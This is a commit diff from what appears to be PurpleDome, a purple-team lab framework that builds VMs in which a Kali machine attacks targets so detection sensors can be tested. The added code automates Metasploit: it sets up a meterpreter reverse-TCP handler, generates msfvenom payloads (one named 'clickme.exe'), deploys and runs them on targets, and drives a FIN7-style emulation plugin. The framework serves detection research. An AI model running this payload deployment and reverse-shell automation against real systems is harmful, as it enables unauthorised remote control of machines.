Merge pull request #1 from avast/documentation_update_1

Documentation update 1
pull/3/head
Thorsten Sick 3 years ago committed by GitHub
commit c5e944a17e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -1,31 +1,62 @@
# Creates vulnerable systems
# PurpleDome creates simulated systems which hack each other
Uses vagrant to set up vulnerable systems. Sensors and maybe attack agents will be installed as well.
It creates several virtual machines to simulate a target network. A Kali attacker will be spawned and use configured attacks to blast at the targets. Those attacks can be Kali command line tools, Caldera abilities or Metasploit tools.
Will use vagrant config. It is quite likely that it we will need some parameters to create similar but not identical systems.
The goal is to test sensors and detection logic on the targets and in the network and improve them.
## Testing
The system is at the same time reproducible and quite flexible (target system wise, vulnerabilities on the targets, attacks).
*Prerequisites:*
## Installation
Install python environment, e.g. using `conda`:
```
conda create -n purpledome python=3.8
conda activate purpledome
```
Setting up the python environment:
Then install the required dependencies in the crated python environment:
```
pip install -r requirements.txt
./init.sh
```
*Call test suite:*
The typical local use case is to create the machines using Vagrant and running them in VirtualBox:
...
sudo apt install vagrant virtualbox
...
You will have to switch into the python environment to run it
Before using any PurpleDome commands switch into the python environment:
...
source venv/bin/activate
...
(this will contain the libraries in the required versions)
## Testing
Basic code and unit tests can be run by
```
make test
```
## Documentation
That way you can also see if your env is set up properly
## Running the basic commands
All command line tools have a help included. You can access it by the "--help" parameter
...
python3 ./experiment_control.py -v run
...
* -v is verbosity. To spam stdout use -vvv
* run is the default command
* --configfile <filename> is optional. If not supplied it will take experiment.yaml
Most of the configuration is done in the yaml config file. For more details check out the full documentation
## The real documentation
This README is just a short overview. In depth documentation can be found in the *doc* folder.
Documentation is using sphinx

@ -102,11 +102,11 @@ class Machine():
""" Reboot a machine """
if self.get_os() == "windows":
self.vm_manager.remote_run("shutdown /r")
self.remote_run("shutdown /r")
self.vm_manager.__call_disconnect__()
time.sleep(60) # Shutdown can be slow....
if self.get_os() == "linux":
self.vm_manager.remote_run("reboot")
self.remote_run("reboot")
self.vm_manager.__call_disconnect__()
res = None
while not res:
@ -317,6 +317,11 @@ class Machine():
return self.vm_manager.get_ip()
def get_name(self):
""" Returns the machine name """
return self.config.vmname()
def get_playground(self):
""" Return this machine's playground """
@ -382,9 +387,9 @@ class Machine():
self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Starting Caldera server {CommandlineColors.ENDC}", 1)
# The pkill was added because the server sometimes gets stuck. And we can not re-create the attacking machines in all cases
self.vm_manager.__call_remote_run__(" pkill -f server.py;", disown=False)
self.remote_run(" pkill -f server.py;", disown=False)
cmd = f"cd {self.caldera_basedir}; cd caldera ; nohup python3 server.py --insecure &"
self.vm_manager.__call_remote_run__(cmd, disown=True)
self.remote_run(cmd, disown=True)
self.wait_for_caldera_server()
self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Caldera server started. Confirmed it is running. {CommandlineColors.ENDC}", 1)
@ -430,7 +435,7 @@ class Machine():
# cmd = self.__install_caldera_service_cmd().strip()
cmd = self.__wmi_cmd_for_caldera_implant()
print(cmd)
self.vm_manager.remote_run(cmd, disown=True)
self.remote_run(cmd, disown=True)
if self.get_os() == "linux":
dst = self.get_playground()
@ -440,7 +445,7 @@ class Machine():
cmd = self.create_start_caldera_client_cmd().strip()
print(cmd)
self.vm_manager.remote_run(cmd, disown=True)
self.remote_run(cmd, disown=True)
self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Caldera client started {CommandlineColors.ENDC}", 1)

@ -2,6 +2,12 @@
from pymetasploit3.msfrpc import MsfRpcClient
from app.machinecontrol import Machine
from app.attack_log import AttackLog
from app.interface_sfx import CommandlineColors
import time
import os
# https://github.com/DanMcInerney/pymetasploit3
@ -19,29 +25,83 @@ class Metasploit():
:param kwargs: Relevant ones: uri, port, server, username
"""
self.client = MsfRpcClient(password, **kwargs)
self.password = password
self.kwargs = kwargs
self.client = None
# Optional attacker: If a running attacker machine is passed, we take it and start the msfrpcd
# Alternative: The server is taken and we expect an already running msfrpcd there
self.attacker = kwargs.get("attacker", None)
if self.attacker:
# we expect a running attacker but without a running msfrcpd
self.start_msfrpcd(kwargs.get("username"))
kwargs["server"] = self.attacker.get_ip()
time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client.
self.get_client()
# self.client = MsfRpcClient(password, **kwargs)
# TODO: Improve speed and reliability with exception handling and retries
# Waiting for reverse shell
exploit = self.client.modules.use('exploit', 'exploit/multi/handler')
print(exploit.description)
print(exploit.missing_required)
payload = self.client.modules.use('payload', 'linux/x64/meterpreter_reverse_tcp')
print(payload.description)
print(payload.missing_required)
payload["LHOST"] = "192.168.178.125"
self.exploit_stub_for_external_payload()
print("Meterpreter executing")
print(self.meterpreter_execute("getuid", 0))
print("Done")
def exploit_stub_for_external_payload(self, exploit='exploit/multi/handler', payload='linux/x64/meterpreter_reverse_tcp'):
exploit = self.client.modules.use('exploit', exploit)
# print(exploit.description)
# print(exploit.missing_required)
payload = self.client.modules.use('payload', payload)
# print(payload.description)
# print(payload.missing_required)
payload["LHOST"] = self.attacker.get_ip()
res = exploit.execute(payload=payload)
print(res)
print(self.client.sessions.list)
sid = list(self.client.sessions.list)[0]
shell = self.client.sessions.session(sid)
shell.write("getuid")
print(shell.read())
def start_msfrpcd(self, username):
""" Starts the msfrpcs on the attacker. Metasploit must alredy be installed there ! """
cmd = f"msfrpcd -P {self.password} -U {username} -S"
self.attacker.remote_run(cmd, disown=True)
def get_client(self):
""" Get a local metasploit client connected to the metasploit server """
if self.client:
return self.client
self.client = MsfRpcClient(self.password, **self.kwargs)
return self.client
def get_sid(self, number=0):
""" Get the first session between hacked target and the metasploit server
@param number: number of the session to get
"""
# TODO improve stability and speed
while len(self.client.sessions.list) <= number:
# print(self.client.sessions.list)
# print("Waiting for session")
time.sleep(1)
return list(self.client.sessions.list)[number]
def meterpreter_execute(self, cmd: str, session_number: int) -> str:
""" Executes a command on the meterpreter, returns result read from shell
@param cmd: command to execute
@param session_number: session number
@:return: the string result
"""
shell = self.client.sessions.session(self.get_sid(session_number))
shell.write(cmd)
return shell.read()
##########################################################################
class MSFVenom():
def __init__(self, attacker: Machine, target: Machine):
def __init__(self, attacker: Machine, target: Machine, attack_logger: AttackLog):
"""
:param attacker: attacker machine
@ -50,6 +110,7 @@ class MSFVenom():
self.attacker = attacker
self.target = target
self.attack_logger = attack_logger
def generate_cmd(self, **kwargs):
""" Generates a cmd
@ -62,7 +123,7 @@ class MSFVenom():
platform = kwargs.get("platform", self.target.get_os())
lhost = kwargs.get("lhost", self.attacker.get_ip())
format = kwargs.get("format", None) # file format
outfile = kwargs.get("outfile", "exploit.exe")
outfile = kwargs.get("outfile", "payload.exe")
cmd = "msfvenom"
if architecture is not None:
@ -116,3 +177,32 @@ class MSFVenom():
cmd = self.generate_cmd(**kwargs)
self.attacker.remote_run(cmd)
def generate_and_deploy(self, **kwargs):
""" Will generate the payload and directly deploy it to the target
:return:
"""
self.generate_payload(**kwargs)
payload_name = kwargs.get("outfile", "payload.exe")
self.attacker.get(payload_name, self.target.get_machine_path_external())
src = os.path.join(self.target.get_machine_path_external(), payload_name)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Generated {payload_name}...deploying it{CommandlineColors.ENDC}",
1)
# Deploy to target
self.target.put(src, self.target.get_playground())
# TODO run on target
if self.target.get_playground() is not None:
cmd = f"cd {self.target.get_playground()};"
else:
cmd = ""
cmd += f"chmod +x {payload_name}; ./{payload_name}"
self.target.remote_run(cmd, disown=True)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}",
1)

@ -1,8 +1,11 @@
************
Kali plugins
************
**************
Attack plugins
**************
Kali attacks can be extended using a plugin system. An example plugin is in the file *hydra_plugin.py*. It contains a plugin class that **MUST** be based on the *KaliPlugin* class.
Attack features of PurpleDome can be extended using a plugin system. Those attack plugins can start Caldera ttacks, run Kali command line tools ir use Metasploit.
An example plugin is in the file *hydra_plugin.py*. It contains a plugin class that **MUST** be based on the *AttackPlugin* class.
::
@ -16,7 +19,7 @@ Kali attacks can be extended using a plugin system. An example plugin is in the
Usage
=====
To create a new plugin, start a sub-folder in plugins. The python file in there must contain a class that inherits from *KaliPlugin*.
To create a new plugin, start a sub-folder in plugins. The python file in there must contain a class that inherits from *AttackPlugin*.
There is an example plugin *hydra.py* that you can use as template.
@ -59,5 +62,5 @@ If you are using the plugin, you **must** have a config section for this kali pl
The plugin class
================
.. autoclass:: plugins.base.kali.KaliPlugin
.. autoclass:: plugins.base.attack.AttackPlugin
:members:

@ -12,7 +12,7 @@ Welcome to the Purple Dome documentation!
=========================================
.. toctree::
:maxdepth: 2
:maxdepth: 3
:caption: Contents:
basics/background
@ -25,13 +25,13 @@ Welcome to the Purple Dome documentation!
usage/cli
extending/vulnerability_plugins.rst
extending/vulnerability_plugins
extending/kali_plugins
extending/attack_plugins
extending/sensor_plugins
extending/vm_controller_plugins.rst
extending/vm_controller_plugins
extending/extending

@ -4,35 +4,37 @@ CLI
There are three command line tools that offer a simple interface to PurpleDome.
Experiment control
------------------
Experiment control is the core tool to run an experiment. It accepts a yaml config file and runs the experiments in there. The configuration file defines the system to be used (together with a Vagrant file being referenced there) and the attacks to run.
The central one is Experiment control where you start your experiments:
.. asciinema:: ./../asciinema/experiment_control.cast
:speed: 2
Experiment control
==================
Experiment control is the core tool to run an experiment. It accepts a yaml config file and runs the experiments in there. The configuration file defines the system to be used (together with a Vagrant file being referenced there) and the attacks to run.
.. argparse::
:filename: ../experiment_control.py
:func: create_parser
:prog: ./experiment_control.py
Caldera control
---------------
Machine control
===============
Directly control a caldera server
Directly control the machines
.. argparse::
:filename: ../caldera_control.py
:filename: ../machine_control.py
:func: create_parser
:prog: ./caldera_control.py
:prog: ./machine_control.py
Machine control
---------------
Caldera control
===============
Directly control the machines
Directly control a caldera server
.. argparse::
:filename: ../machine_control.py
:filename: ../caldera_control.py
:func: create_parser
:prog: ./machine_control.py
:prog: ./caldera_control.py

@ -7,40 +7,57 @@ from app.metasploit import MSFVenom, Metasploit
if __name__ == "__main__":
# msfrpcd -S -P password -u user -f
attacker_ip = "192.168.178.125"
# attacker_ip = "192.168.178.125"
# target_ip = "192.168.178.125"
# Metasploit RPC
password = "password"
user = "user"
attack_logger = AttackLog(0)
attacker = Machine({"root": "systems/attacker1",
"os": "linux",
"vm_controller": {
"type": "vagrant",
"vagrantfilepath": "systems",
"ip": attacker_ip
},
"vm_name": "attacker1"}, attack_logger)
attack_logger = AttackLog(2)
attacker = Machine({ # "root": "systems/attacker1",
"os": "linux",
"vm_controller": {
"type": "vagrant",
"vagrantfilepath": "systems",
# "ip": attacker_ip
},
"vm_name": "attacker",
"machinepath": "attacker1"}, attack_logger)
attacker.up()
# Target machine is attacker machine here
target = Machine({"root": "systems/attacker1",
"os": "linux",
"vm_controller": {
"type": "vagrant",
"vagrantfilepath": "systems",
"ip": attacker_ip
},
"vm_name": "attacker1"}, attack_logger)
venom = MSFVenom(attacker, target)
target = Machine({ # "root": "systems/target3",
"os": "linux",
"vm_controller": {
"type": "vagrant",
"vagrantfilepath": "systems",
# "ip": attacker_ip
},
"vm_name": "target3",
"machinepath": "target3"}, attack_logger)
target.up()
venom = MSFVenom(attacker, target, attack_logger)
print(venom.generate_cmd(payload="linux/x64/meterpreter_reverse_tcp",
architecture="x64",
platform="linux",
# lhost,
format="elf",
outfile="clickme.exe"))
metasploit = Metasploit(password, server=attacker.get_ip(), username=user)
venom.generate_and_deploy(payload="linux/x64/meterpreter_reverse_tcp",
architecture="x64",
platform="linux",
lhost=attacker.get_ip(),
format="elf",
outfile="clickme.exe")
# start msfrpcd on attacker
# TODO get meterpreter session
# TODO simple command to test
metasploit = Metasploit(password, attacker=attacker, username=user)
# client = MsfRpcClient('yourpassword', ssl=True)
target.halt()
attacker.halt()

@ -59,6 +59,7 @@ class SSHFeatures(BasePlugin):
def remote_run(self, cmd, disown=False):
""" Connects to the machine and runs a command there
@param cmd: The command to execute
@param disown: Send the connection into background
"""

@ -93,6 +93,9 @@ class FIN7Plugin(AttackPlugin):
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Create babymetal replacement{CommandlineColors.ENDC}",
1)
# Uploaded stager creates meterpreter shell (babymetal)
# Generate payload:
@ -106,11 +109,19 @@ class FIN7Plugin(AttackPlugin):
outfile=payload_name)
self.attacker_machine_plugin.get(payload_name, self.targets[0].get_machine_path_external())
src = os.path.join(self.targets[0].get_machine_path_external(), payload_name)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Deploy babymetal replacement{CommandlineColors.ENDC}",
1)
self.targets[0].put(src, self.targets[0].get_playground())
if self.targets[0].get_playground() is not None:
pl = os.path.join(self.targets[0].get_playground(), payload_name)
else:
pl = payload_name
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute babymetal replacement - waiting for meterpreter shell{CommandlineColors.ENDC}",
1)
self.targets[0].remote_run(pl, disown=True)
# adb156.exe -> cmd.exe ->powershell.exe decodes embedded dll payload https://attack.mitre.org/techniques/T1059/003/ and https://attack.mitre.org/techniques/T1059/001/
@ -144,7 +155,7 @@ class FIN7Plugin(AttackPlugin):
# powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/
# spawn powershell through cmd
# use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/
# !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/
# paexec starts temorary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/
# hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/
# svchost starts data exchange

@ -9,6 +9,6 @@ sphinx-pyreverse==0.0.13
coverage==5.4
PyYAML==5.4.1
straight.plugin==1.5.0
sphinxcontrib.asciinema==0.3.1
sphinxcontrib.asciinema==0.3.2
paramiko==2.7.2
pymetasploit3==1.0.3

Loading…
Cancel
Save